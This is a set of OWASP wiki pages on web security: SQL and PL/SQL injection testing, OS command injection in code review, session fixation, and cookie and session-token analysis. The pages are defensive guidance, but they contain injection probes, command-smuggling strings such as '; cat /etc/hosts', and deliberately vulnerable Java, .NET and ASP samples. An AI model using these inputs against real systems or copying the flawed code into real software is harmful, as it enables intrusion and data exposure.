Each input parameter should be tested for SQL injection flaws. These are easy to find and confirm. Finding them is as easy as embedding a single quote into the parameter and checking for error responses (which include 404 Not Found errors). Confirming the presence of SQL injection can be performed using the concatenation operator.

For example, assume there is a bookstore PL/SQL web application that allows users to search for books by a given author:

<nowiki>http://www.example.com/pls/bookstore/books.search?author=DICKENS</nowiki>

If this request returns books by Charles Dickens, but

<nowiki>http://www.example.com/pls/bookstore/books.search?author=DICK'ENS</nowiki>

returns an error or a 404, then there might be a SQL injection flaw. This can be confirmed by using the concatenation operator:

<nowiki>http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS</nowiki>

If this request returns books by Charles Dickens, you've confirmed the presence of the SQL injection vulnerability.

== References ==
'''Whitepapers''' 
* Hackproofing Oracle Application Server - http://www.ngssoftware.com/papers/hpoas.pdf 
* Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf 
 
'''Tools''' 
* SQLInjector - http://www.databasesecurity.com/sql-injector.htm 
* Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner) - http://www.ngssecure.com/services/information-security-software.aspx

Top 10 2007-Injection Flaws

2012-04-28T14:05:26Z

Shady:

{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Malicious File Execution|useprev=PrevLink|prev=-Cross Site Scripting|usemain=MainLink|main=}}

Injection flaws, particularly SQL injection, are unfortunately very common in web applications. There are many types of injections: [http://cwe.mitre.org/data/definitions/89.html SQL], [http://cwe.mitre.org/data/definitions/564.html Hibernate Query Language (HQL)], [http://cwe.mitre.org/data/definitions/90.html LDAP], [http://cwe.mitre.org/data/definitions/91.html XPath], [http://cwe.mitre.org/data/definitions/652.html XQuery], [http://cwe.mitre.org/data/definitions/91.html XSLT], [http://cwe.mitre.org/data/definitions/79.html HTML], [http://cwe.mitre.org/data/definitions/91.html XML], [http://cwe.mitre.org/data/definitions/78.html OS command injection] and many more.

Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. Attackers trick the interpreter into executing unintended commands via supplying specially crafted data. Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application. In the worst case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.

== Environments Affected ==

All web application frameworks that use interpreters or invoke other processes are vulnerable to injection attacks. This includes any components of the framework, that might use back-end interpreters.

== Vulnerability ==

If user input is passed into an interpreter without validation or encoding, the application is vulnerable. Check if user input is supplied to dynamic queries, such as:

''PHP:''
<code>$sql = "SELECT * FROM table WHERE id = '" . $_REQUEST['id'] . "'"; </code>

''Java:''
<code>String query = "SELECT user_id FROM user_data WHERE
user_name = '" + req.getParameter("userID") + "' and
user_password = '" + req.getParameter("pwd") +"'";</code>

== Verifying Security ==

The goal is to verify that user data cannot modify the meaning of commands and queries sent to any of the interpreters invoked by the application.

Automated approaches: Many vulnerability scanning tools search for injection problems, particularly SQL injection. Static analysis tools that search for uses of unsafe interpreter APIs are useful, but frequently cannot verify that appropriate validation or encoding might be in place to protect against the vulnerability. If the application catches 501 / 500 internal server errors, or detailed database errors, it can significantly hamper automated tools, but the code may still be at risk. Automated tools may be able to detect LDAP / XML injections / XPath injections.

Manual approaches: The most efficient and accurate approach is to check the code that invokes interpreters. The reviewer should verify the use of a safe API or that appropriate validation and/or encoding has occurred. Testing can be extremely time-consuming and with low coverageand spotty because the attack surface of most applications is so large.

== Protection ==

Avoid the use of interpreters when possible. If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping (ORM) libraries that are immune to injection (be careful here - Hibernate, for example is NOT immune to injection by itself. You have to use named parameters to be safe in Hibernate). These interfaces handle all data escaping, or do not require escaping. Note that while safe interfaces solve the problem, validation is still recommended in order to detect attacks.

Using interpreters is dangerous, so it's worth it to take extra care, such as the following:

*'''Input validation.''' Use a standard input validation mechanism to validate all input data for length, type, syntax, and business rules before accepting the data to be displayed or stored. Use an "accept known good" validation strategy. Reject invalid input rather than attempting to sanitize potentially hostile data. Do not forget that error messages might also include invalid data
*'''Use strongly typed parameterized query APIs''' with placeholder substitution markers, even when calling stored procedures
*'''Enforce least privilege''' when connecting to databases and other backend systems
*'''Avoid detailed error messages''' that are useful to an attacker
*'''Show care when using stored procedures''' since they are generally safe from SQL Injection. However, be careful as they can be injectable (such as via the use of exec() or concatenating arguments within the stored procedure)
*'''Do not use dynamic query interfaces''' (such as mysql_query() or similar)
*'''Do not use simple escaping functions''', such as PHP's addslashes() or character replacement functions like str_replace("'", "''"). These are weak and have been successfully exploited by attackers. For PHP, use mysql_real_escape_string() if using MySQL, or preferably use PDO which does not require escaping
*When using simple escape mechanisms, note that''' simple escaping functions cannot escape table names'''! Table names must be legal SQL, and thus are completely unsuitable for user supplied input
*'''Watch out for canonicalization errors.''' Inputs must be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked
Language specific recommendations:

*Java EE - use strongly typed PreparedStatement, or ORMs such as Spring or named parameters within Hibernate.
*.NET - use strongly typed parameterized queries, such as SqlCommand with SqlParameter, or named parameters within Hibernate.
*PHP - use PDO with strongly typed parameterized queries (using bindParam()).

== Samples ==

*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121]
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953]
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592]

== Related Sites ==

*[[SQL Injection]]
*[[Guide to SQL Injection]]
*[[SQL Injection Prevention Cheat Sheet]]
*[[Reviewing Code for SQL Injection]]
*[[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]]

== References ==

*CWE: CWE-89 (SQL Injection), CWE-77 (Command Injection), CWE-90 (LDAP Injection), CWE-91 (XML Injection), CWE-93 (CRLF Injection), others.
*WASC Threat Classification: [http://www.webappsec.org/projects/threat/classes/sql_injection.shtml (1) SQL Injection] [http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml (2) LDAP Injection] [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml (3) OS Commanding]
*Advanced SQL Injection, [http://www.ngssoftware.com/papers/advanced_sql_injection.pdf http://www.ngssoftware.com/papers/advanced_sql_injection.pdf]
*More Advanced SQL Injection, [http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf]
*Hibernate, an advanced object relational manager (ORM) for J2EE and .NET, [http://www.hibernate.org/ http://www.hibernate.org/]
*J2EE Prepared Statements, [http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html]
*How to: Protect from SQL injection in ASP.Net, [http://msdn2.microsoft.com/en-us/library/ms998271.aspx http://msdn2.microsoft.com/en-us/library/ms998271.aspx]
*PHP PDO functions, [http://php.net/pdo http://php.net/pdo]
*SQL Injection, [http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf]

{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Malicious File Execution|useprev=PrevLink|prev=-Cross Site Scripting|usemain=MainLink|main=}}

[[Category:OWASP Top Ten Project]]

Reviewing Code for OS Injection

2012-04-28T13:53:25Z

Shady:

{{LinkBar
| useprev=PrevLink | prev=Reviewing Code for Buffer Overruns and Overflows | lblprev=
| usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents
| usenext=NextLink | next=Reviewing Code for SQL Injection | lblnext=
}}
__TOC__

== Introduction ==

Injection flaws allow attackers to pass malicious code through a web application to another subsystem. Depending on the subsystem, different types of injection attacks can be performed:

RDBMS: SQL Injection 
WebBrowser/Appserver: SQL Injection 
OS-shell: Operating system commands Calling external applications from your application.

OS Commanding is one of the attack classes that fall into [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml Injection Flaws]. In other classifications, it is placed in [https://www.fortify.com/vulncat/en/vulncat/index.html Input Validation and Representation] category, [[Top_10_2007-A2|OS Commanding]] threat class or defined as [http://cwe.mitre.org/data/definitions/77.html Failure to Sanitize Data into Control Plane] weakness and [http://capec.mitre.org/data/definitions/6.html Argument Injection] attack pattern enumeration. OS Commanding happens when an application accepts untrusted/insecure input and passes it to external applications (either as the application name itself or arguments) without validation or a proper escaping.

==How to Locate the Potentially Vulnerable code ==
Many developers believe text fields are the only areas for data validation. This is an incorrect assumption. Any external input must be data validated:

Text fields, List boxes, radio buttons, check boxes, cookies, HTTP header data, HTTP post data, hidden fields, parameter names and parameter values. … This is not an exhaustive list.

“Process to process” or “entity-to-entity” communication must be investigated also. Any code that communicates with an upstream or downstream process and accepts input from it must be reviewed.

All injection flaws are input-validation errors. The presence of an injection flaw is an indication of incorrect data validation on the input received from an external source outside the boundary of trust, which gets more blurred every year.

Basically for this type of vulnerability we need to find all input streams into the application. This can be from a user’s browser, CLI or fat client but also from upstream processes that “feed” our application.

An example would be to search the code base for the use of APIs or packages that are normally used for communication purposes.

The '''java.io''', '''java.sql''', '''java.net''', '''java.rmi''', '''java.xml''' packages are all used for application communication. Searching for methods from those packages in the code base can yield results. A less “scientific” method is to search for common keywords such as “UserID”, “LoginID” or “Password”.

== Vulnerable Patterns for OS Injection ==
What we should be looking for are relationships between the application and the operating system; the application-utilising functions of the underlying operating system.

In Java using the Runtime object, '''java.lang.Runtime''' does this.
In .NET calls such as '''System.Diagnostics.Process.Start '''are used to call underlying OS functions.
In PHP we may look for calls such as '''exec()''' or '''passthru()'''.

'''Example''':

We have a class that eventually gets input from the user via a HTTP request. This class is used to execute some native exe on the application server and return a result.

public class DoStuff {
public string executeCommand(String userName)
{ try {
String myUid = userName;
Runtime rt = Runtime.getRuntime();
rt.exec("'''''cmd.exe /C''''' doStuff.exe " +”-“ +myUid); // Call exe with userID
}catch(Exception e)
{
e.printStackTrace();
}
}
}

The method executeCommand calls '''''doStuff.exe''''' (utilizing cmd.exe) via the '''''java.lang.runtime''''' static method '''''getRuntime()'''''. The parameter passed is not validated in any way in this class. We are assuming that the data has not been data validated prior to calling this method. ''Transactional analysis should have encountered any data validation prior to this point.''
Inputting “Joe69” would result in the following MS DOS command:

'''''doStuff.exe –Joe69'''''

Lets say we input '''''Joe69 & netstat –a''''' we would get the following response:

The exe doStuff would execute passing in the User Id Joe69, but then the DOS command '''''netstat''''' would be called. How this works is the passing of the parameter “&” into the application, which in turn is used as a command appender in MS DOS and hence the command after the & character is executed.

This wouldn't be true, if the code above was written as (here we assume that '''''doStuff.exe''''' doesn't act as an command interpreter, such as cmd.exe or /bin/sh);

public class DoStuff {
public string executeCommand(String userName)
{ try {
String myUid = userName;
Runtime rt = Runtime.getRuntime();
rt.exec("doStuff.exe " +”-“ +myUid); // Call exe with userID
}catch(Exception e)
{
e.printStackTrace();
}
}
}

Why? From [http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Runtime.html Java 2 documentation];

'' ... More precisely, the given command string is broken into tokens using a StringTokenizer created by the call new StringTokenizer(command) with no further modification of the character categories. The tokens produced by the tokenizer are then placed in the new string array cmdarray, in the same order ... ''

The produced array contains the executable (the first item) to call and its arguments (the rest of the arguments). So, unless the first item to be called is an application which parses the arguments and interprets them, and further calls other external applications according to them, it wouldn't be possible to execute '''''netstat''''' in the above code snippet. Such a first item to be called would be '''''cmd.exe''''' in Windows boxes or '''''sh''''' in Unix-like boxes.

Most of the out-of-box source code/assembly analyzers would (and some wouldn't!) flag a ''Command Execution'' issue when they encounter the dangerous APIs; '''''System.Diagnostics.Process.Start''''', '''''java.lang.Runtime.exec'''''. However, obviously, the calculated risk should differ. In the first example, the "command injection" is there, whereas, in the second one without any validation nor escaping what can be called as "argument injection" vulnerability exists. The risk is still there, but the severity depends on the command being called. So, the issue needs analysis.

===UNIX===

An attacker might insert the string '''“; cat /etc/hosts”''' and the contents of the UNIX hosts file might be exposed to the attacker if the command is executed through a shell such as /bin/bash or /bin/sh.

===.NET Example===
namespace ExternalExecution
{
class CallExternal
{
static void Main(string[] args)
{
String arg1=args[0];
System.Diagnostics.Process.Start("doStuff.exe", arg1);
}
}
}

Yet again there is no data validation to speak of here, assuming that there is no upstream validation occurring in another class.

===Classic ASP Example===
<pre>
<%
option explicit
dim wshell
set wshell = CreateObject("WScript.Shell")
wshell.run "c:\file.bat " & Request.Form("Args")
set wshell = nothing
%>
</pre>

These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL (i.e. SQL injection). Complete scripts written in Perl, Python, shell, bat, and other languages can be injected into poorly designed web applications and executed.

==Good Patterns & procedures to prevent OS injection==

See the Data Validation section.

==Related Articles==
[[Command Injection]]

[[Interpreter Injection]]

{{LinkBar
| useprev=PrevLink | prev=Reviewing Code for Buffer Overruns and Overflows | lblprev=
| usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents
| usenext=NextLink | next=Reviewing Code for SQL Injection | lblnext=
}}

[[Category:OWASP Code Review Project]]
[[Category:Input Validation]]

Session Fixation

2012-04-13T14:15:31Z

Shady:

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

Authenticating a user without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Session fixation vulnerabilities occur when:

# A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
# An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user's account through the active session.

==Risk Factors==

* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen
* Discuss the technical impact of a successful exploit of this vulnerability
* Consider the likely [business impacts] of a successful attack

==Examples==

The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().

<pre>
private void auth(LoginContext lc, HttpSession session) throws LoginException {
...
lc.login();
...
}
</pre>

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session.

Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal. In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above.

The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker. In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [1]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker.

It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [2].

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

==Related [[Attacks]]==

* [[Session Hijacking]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Session Fixation Protection]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

[1] Fortify Descriptions. http://vulncat.fortifysoftware.com.

[2] D. Whalen. The Unofficial Cookie FAQ. http://www.cookiecentral.com/faq/#3.3.

[3] ACROS Security. http://www.acrossecurity.com/papers/session_fixation.pdf.

* Session fixation, http://en.wikipedia.org/wiki/Session_fixation

* Paper: "The Phishing Guide" - Part 1 - 2.3.4. Preset Session Attack, and Part 2 - Session Handling, http://www.technicalinfo.net/papers/Phishing.html

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Session Management Vulnerability]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Vulnerability]]

Testing for Session Management Schema (OTG-SESS-001)

2012-04-13T13:51:54Z

Shady:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. 
These mechanisms are known as Session Management and, while they're most important in order to increase the ease of use and user-friendliness of the application, they can be exploited by a penetration tester to gain access to a user account, without the need to provide correct credentials. In this test, we want to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.

==Related Security Activities==

===Description of Session Management Vulnerabilities===

See the OWASP articles on [[:Category:Session Management Vulnerability|Session Management Vulnerabilities]].

===Description of Session Management Countermeasures===

See the OWASP articles on [[:Category:Session Management|Session Management Countermeasures]].

===How to Avoid Session Management Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Session Management|Avoid Session Management]] Vulnerabilities.

===How to Review Code for Session Management| Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Codereview-Session-Management|Review Code for Session Management]] Vulnerabilities.

==Description of the Issue==

Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or more than one) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.

A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).

Due to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way. In this test we have to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...). Usually the main steps of the attack pattern are the following:
* '''cookie collection''': collection of a sufficient number of cookie samples;
* '''cookie reverse engineering''': analysis of the cookie generation algorithm;
* '''cookie manipulation''': forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).

Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here we are not trying to recreate a perfectly valid cookie. Instead, our goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.

==Black Box Testing and Examples==

All interaction between the client and application should be tested at least against the following criteria:
* Are all Set-Cookie directives tagged as Secure?
* Do any Cookie operations take place over unencrypted transport?
* Can the Cookie be forced over unencrypted transport?
* If so, how does the application maintain security?
* Are any Cookies persistent?
* What Expires= times are used on persistent cookies, and are they reasonable?
* Are cookies that are expected to be transient configured as such?
* What HTTP/1.1 Cache-Control settings are used to protect Cookies?
* What HTTP/1.0 Cache-Control settings are used to protect Cookies?

===Cookie collection===

The first step required in order to manipulate the cookie is obviously to understand how the application creates and manages cookies. For this task, we have to try to answer the following questions:

* How many cookies are used by the application?
Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.
* Which parts of the the application generate and/or modify the cookie?
Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?
* Which parts of the application require this cookie in order to be accessed and utilized?
Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.

A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.

===Session Analysis===

The session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage. 
* Token Structure & Information Leakage
The first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.
If the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:
<pre>
192.168.100.1:owaspuser:password:15:58
</pre>

If part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation.
For example the string “192.168.100.1:owaspuser:password:15:58” is represented in Hex, Base64 and as an MD5 hash:
<pre>
Hex 3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538
Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=
MD5 01c2fc4f0a817afd8366689bd29dd40a
</pre>

Having identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.
Hybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:
<pre>
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412
</pre>

Having analyzed a single session token, the representative sample should be examined.
A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address.
If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.
If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, login attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.
The following areas should be addressed during the single and multiple Session ID structure testing:
* What parts of the Session ID are static?
* What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses
* What easily decoded confidential information is stored?
* What information can be deduced from the structure of the Session ID?
* What portions of the Session ID are static for the same login conditions?
* What obvious patterns are present in the Session ID as a whole, or individual portions?

===Session ID Predictability and Randomness===

Analysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns.
These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools in order to deduce any patterns in the Session ID content.
Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address. Time is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.
Variable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements.
Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.
In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.
* Are the Session IDs provably random in nature? I.e., can the resulting values be reproduced?
* Do the same input conditions produce the same ID on a subsequent run?
* Are the Session IDs provably resistant to statistical or cryptanalysis?
* What elements of the Session IDs are time-linked?
* What portions of the Session IDs are predictable?
* Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?

===Cookie reverse engineering===

Now that we have enumerated the cookies and have a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies are we interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks. These characteristics are summarized below:
#Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, he/she will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.
#Tamper resistance: a cookie must resist malicious attempts of modification. If we receive a cookie like IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)
#Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from disk/memory afterwards, in order to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel)
#“Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.

The approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if we need to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).

It is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies: a cookie collected before being authenticated can be very different from a cookie obtained after the authentication.

Another aspect to keep into consideration is time: always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a timestamp as part of the cookie value). The time recorded could be the local time or the server's timestamp included in the HTTP response (or both).

Analyzing the collected values, try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.

Examples of checks to be performed at this stage include:
* What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if we insert in a cookie characters that do not belong to the expected charset?
* Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step. An example of an easy-to-spot structured cookie is the following:

<pre>
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q
</pre>

In this example we see 5 different fields, carrying different types of data:

<pre>
ID – hexadecimal
CR – small integer
TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)
S – alphanumeric
</pre>

Even when no delimiters are used, having enough samples can help. As an example, let's look at the following series:

<pre>
0123456789abcdef
</pre>

===Brute Force Attacks===
Brute force attacks inevitably lead on from questions relating to predictability and randomness.
The variance within the Session IDs must be considered together with application session durations and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.
A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.
* How long would a brute-force attack on all possible Session IDs take?
* Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?
* Do delays between connection attempts with different Session IDs mitigate the risk of this attack?

== Gray Box testing and example ==
If you have access to the session management schema implementation, you can check for the following:
* Random Session Token
The Session ID or Cookie issued to the client should not be easily predictable (don't use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).
* Token length
Session ID will be at least 50 characters length.
* Session Time-out
Session token should have a defined time-out (it depends on the criticality of the application managed data)
* Cookie configuration:
** non-persistent: only RAM memory
** secure (set only on HTTPS channel): Set Cookie: cookie=data; path=/; domain=.aaa.it; secure
** [[HTTPOnly]] (not readable by a script): Set Cookie: cookie=data; path=/; domain=.aaa.it; [[HTTPOnly]]
More information here: [[Testing_for_cookies_attributes (OWASP-SM-002)|Testing for cookies attributes]]

==References==
'''Whitepapers''' 
* RFC 2965 “HTTP State Management Mechanism”
* RFC 1750 “Randomness Recommendations for Security”
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis" (2001): http://lcamtuf.coredump.cx/oldtcp/tcpseq.html
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later" (2002): http://lcamtuf.coredump.cx/newtcp/
* Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html
* Darrin Barrall: "Automated Cookie Analysis" – http://www.spidynamics.com/assets/documents/SPIcookies.pdf
* ENT: http://fourmilab.ch/random/
* http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html
* Gunter Ollmann: "Web Based Session Management" - http://www.technicalinfo.net
* Matteo Meucci:"MMS Spoofing" - http://www.owasp.org/images/7/72/MMS_Spoofing.ppt

 
'''Tools''' 
* [[:Category:OWASP WebScarab Project|OWASP's WebScarab]] features a session token analysis mechanism. You can read [[How to test session identifier strength with WebScarab]].
* Burp Sequencer - http://www.portswigger.net/suite/sequencer.html
* Foundstone CookieDigger - http://www.foundstone.com/resources/proddesc/cookiedigger.htm

 
'''Videos''' 
* Session ID Analysis with WebScarab - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_AnalyzingSessions/
* Session Hijacking in Webgoat Lesson - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_SessionHijackingWithJHijack/

Guide to Cryptography

2012-02-26T02:22:24Z

Shady:

